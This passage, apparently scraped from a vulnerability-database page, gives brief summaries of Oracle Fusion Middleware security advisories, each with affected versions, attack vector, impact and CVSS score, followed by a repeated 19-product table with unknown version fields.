vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via T3 or IIOP to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Access Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated CVSS 3.1 base score 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized sensitive data access or cause denial of service, rated CVSS 3.1 score 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the portal, with a CVSS 3.1 base score of 9.9 indicating severe risk.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with RMI network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to modify critical data, read unauthorized data, and cause partial denial of service, with a CVSS 3.1 score of 7.7.
7.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, rated CVSS 3.1 base score 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with LDAP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 8.5.
8.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with LDAP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 8.5.
8.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.20 allows unauthenticated network attackers to gain unauthorized read access to certain data, with a CVSS 3.1 base score of 3.7 indicating low confidentiality impact.
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle Fusion Middleware Service Delivery Platform Messaging Enabler (versions 14.1.2.0.0 and 12.2.1.4.0) allows unauthenticated attackers to modify or delete data and potentially crash the platform.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Service Delivery Platform (Messaging Enabler) versions 14.1.2.0.0 and 12.2.1.4.0 allows low-privileged network attackers via Oracle Net to create, delete, or modify critical data, with a CVSS 3.1 score of 9.6.
9.6 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
